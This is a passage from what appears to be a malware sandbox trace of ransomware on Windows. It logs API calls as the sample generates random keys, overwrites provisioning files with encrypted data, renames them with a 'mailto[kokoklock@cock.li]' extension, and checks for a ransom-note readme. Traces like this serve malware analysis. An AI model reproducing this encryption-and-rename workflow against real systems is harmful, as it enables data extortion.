(HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddfd8 [0086.935] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55de0a0 [0086.935] NtQuerySystemTime (in: CurrentTime=0x2e83f858 | out: CurrentTime=0x2e83f858*=132121176448204555) returned 0x0 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x632563cc [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0xd61cbe5e [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0xd58765bd [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x9859afc8 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0xeccf2d1a [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x1b590238 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0xbc57b210 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0xd4e16bd5 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0xc32ca72d [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x58981d3a [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0xbe6486a1 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0xadf43f54 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0xbbb84c39 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0xa7c1f351 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x60441ec4 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x1dc401c6 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x6ab3f4cb [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x894aa728 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x1fb78624 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x8116490f [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x70d2da33 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x456c89e1 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x80183abc [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x57df0ef2 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x9321f64e [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0xefce5b97 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x717d8751 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0xf20a1524 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x95e15fa0 [0086.935] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x67ca2e1 [0086.936] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0xc9df0c95 [0086.936] RtlRandom (in: Seed=0x2e83f864 | out: Seed=0x2e83f864) returned 0x9b3b68b6 [0086.946] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x34a, lpNumberOfBytesRead=0x2e83f858, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e83f858*=0x34a, lpOverlapped=0x0) returned 1 [0086.946] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e83f820 | out: lpNewFilePointer=0x0) returned 1 [0086.946] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x34a, lpNumberOfBytesWritten=0x2e83f854, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e83f854*=0x34a, lpOverlapped=0x0) returned 1 [0086.946] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf60 [0086.946] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddfb0 [0086.946] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddfb0) returned 1 [0086.946] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddf60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e83f850, lpOverlapped=0x0 | out: lpBuffer=0x55ddf60*, lpNumberOfBytesWritten=0x2e83f850*=0x20, lpOverlapped=0x0) returned 1 [0086.946] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf60) returned 1 [0086.946] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.946] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.946] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.946] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.946] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddf38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e83f87c, lpOverlapped=0x0 | out: lpBuffer=0x55ddf38*, lpNumberOfBytesWritten=0x2e83f87c*=0x8, lpOverlapped=0x0) returned 1 [0086.947] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e83f894*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e83f87c, lpOverlapped=0x0 | out: lpBuffer=0x2e83f894*, lpNumberOfBytesWritten=0x2e83f87c*=0x4, lpOverlapped=0x0) returned 1 [0086.947] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e83f87c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e83f87c*=0x4, lpOverlapped=0x0) returned 1 [0086.947] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e83f87c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e83f87c*=0x6c, lpOverlapped=0x0) returned 1 [0086.947] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddfd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e83f87c, lpOverlapped=0x0 | out: lpBuffer=0x55ddfd8*, lpNumberOfBytesWritten=0x2e83f87c*=0x20, lpOverlapped=0x0) returned 1 [0086.947] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e83f87c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e83f87c*=0x4, lpOverlapped=0x0) returned 1 [0086.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddfd8) returned 1 [0086.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de0c8) returned 1 [0086.947] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf38) returned 1 [0086.947] CloseHandle (hObject=0x3d0) returned 1 [0086.947] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x182) returned 0x33fc9c8 [0086.947] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml" [0086.947] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.947] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\145__connections_cellular_orange (france)_i6$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\145__connections_cellular_orange (france)_i6$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.948] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.948] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.948] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.948] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.948] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.948] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.948] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d4d0) returned 1 [0086.949] RtlExitUserThread (Status=0x1) Thread: id = 1336 os_tid = 0x138c [0086.950] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\146__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.950] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.950] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\146__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.950] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e8bfdc4 | out: lpFileSize=0x2e8bfdc4*=706) returned 1 [0086.950] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.951] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e8bfd98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e8bfd94, lpOverlapped=0x0 | out: lpBuffer=0x2e8bfd98*, lpNumberOfBytesRead=0x2e8bfd94*=0x4, lpOverlapped=0x0) returned 1 [0086.952] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.953] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddfb0 [0086.953] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddfd8 [0086.953] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55de0c8 [0086.953] NtQuerySystemTime (in: CurrentTime=0x2e8bfd70 | out: CurrentTime=0x2e8bfd70*=132121176448517058) returned 0x0 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0xa36a87d3 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x52e159a5 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x7530b90c [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x18b31e83 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x7315ef2f [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x1a8c04f3 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0xfedd664 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x28f1d9bb [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0xc921d95a [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0xd46a5655 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x4ae78731 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x81932f17 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x3fdeb7b1 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x3b0e356d [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x8fc874b0 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0xc6ad3057 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0xbe83d541 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x519f4278 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x6fc315e3 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x978315d2 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0xfb896d93 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0xab538379 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0xeeb59458 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x52d988a2 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x9f5a3667 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x5476a8b1 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x278791e9 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x9a413523 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x8633edd1 [0086.953] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x39ac7789 [0086.954] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0x409b1b89 [0086.954] RtlRandom (in: Seed=0x2e8bfd7c | out: Seed=0x2e8bfd7c) returned 0xbada3364 [0086.964] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2c2, lpNumberOfBytesRead=0x2e8bfd70, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e8bfd70*=0x2c2, lpOverlapped=0x0) returned 1 [0086.964] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8bfd38 | out: lpNewFilePointer=0x0) returned 1 [0086.964] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2c2, lpNumberOfBytesWritten=0x2e8bfd6c, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e8bfd6c*=0x2c2, lpOverlapped=0x0) returned 1 [0086.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf88 [0086.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55de000 [0086.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de000) returned 1 [0086.964] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddf88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e8bfd68, lpOverlapped=0x0 | out: lpBuffer=0x55ddf88*, lpNumberOfBytesWritten=0x2e8bfd68*=0x20, lpOverlapped=0x0) returned 1 [0086.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf88) returned 1 [0086.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.965] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.965] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddf60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e8bfd94, lpOverlapped=0x0 | out: lpBuffer=0x55ddf60*, lpNumberOfBytesWritten=0x2e8bfd94*=0x8, lpOverlapped=0x0) returned 1 [0086.965] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e8bfdac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e8bfd94, lpOverlapped=0x0 | out: lpBuffer=0x2e8bfdac*, lpNumberOfBytesWritten=0x2e8bfd94*=0x4, lpOverlapped=0x0) returned 1 [0086.965] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e8bfd94, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e8bfd94*=0x4, lpOverlapped=0x0) returned 1 [0086.965] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e8bfd94, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e8bfd94*=0x6c, lpOverlapped=0x0) returned 1 [0086.965] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddfd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e8bfd94, lpOverlapped=0x0 | out: lpBuffer=0x55ddfd8*, lpNumberOfBytesWritten=0x2e8bfd94*=0x20, lpOverlapped=0x0) returned 1 [0086.965] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e8bfd94, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e8bfd94*=0x4, lpOverlapped=0x0) returned 1 [0086.965] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddfd8) returned 1 [0086.965] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf38) returned 1 [0086.965] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf60) returned 1 [0086.965] CloseHandle (hObject=0x3d0) returned 1 [0086.965] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x17c) returned 0x33fc9c8 [0086.965] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" [0086.965] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.965] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\146__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\146__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.966] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.966] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.966] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.966] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.966] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.967] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.967] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.967] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.967] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d618) returned 1 [0086.967] RtlExitUserThread (Status=0x1) Thread: id = 1337 os_tid = 0x1390 [0086.968] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\147__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml")) returned 0x20 [0086.968] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.968] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\147__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.968] GetFileSizeEx (in: hFile=0x3d0, 